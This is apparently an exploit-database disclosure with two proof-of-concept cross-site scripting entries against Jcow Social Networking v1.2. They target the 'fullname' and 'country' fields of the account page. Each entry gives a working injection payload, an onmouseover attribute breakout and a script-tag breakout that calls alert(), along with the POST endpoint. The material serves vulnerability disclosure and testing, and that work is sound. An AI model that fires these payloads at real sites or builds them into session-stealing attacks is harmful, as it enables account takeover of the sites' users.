===========================================================================================
# Exploit Title: Jcow Social Networking - 'fullname' XSS Inj.
# Dork: N/A
# Date: 13-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://www.jcow.net
# Software Link: https://sourceforge.net/projects/jcow/
# Version: v1.2
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Jcow makes it easy&interesting to create Social Networks and online communities.
===========================================================================================
# POC - XSS
# Parameters : fullname
# Attack Pattern : x%22+onmouseover%3dalert(0x0024A0)+x%3d%22 
# POST Method : http://localhost/jcowce12/index.php?p=account/index
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Jcow Social Networking - 'country' XSS Inj.
# Dork: N/A
# Date: 13-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://www.jcow.net
# Software Link: https://sourceforge.net/projects/jcow/
# Version: v1.2
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Jcow makes it easy&interesting to create Social Networks and online communities.
===========================================================================================
# POC - XSS
# Parameters : country
# Attack Pattern : '"--></style></scRipt><scRipt>alert(0x002692)</scRipt>
# POST Method : http://localhost/jcowce12/index.php?p=account/index
===========================================================================================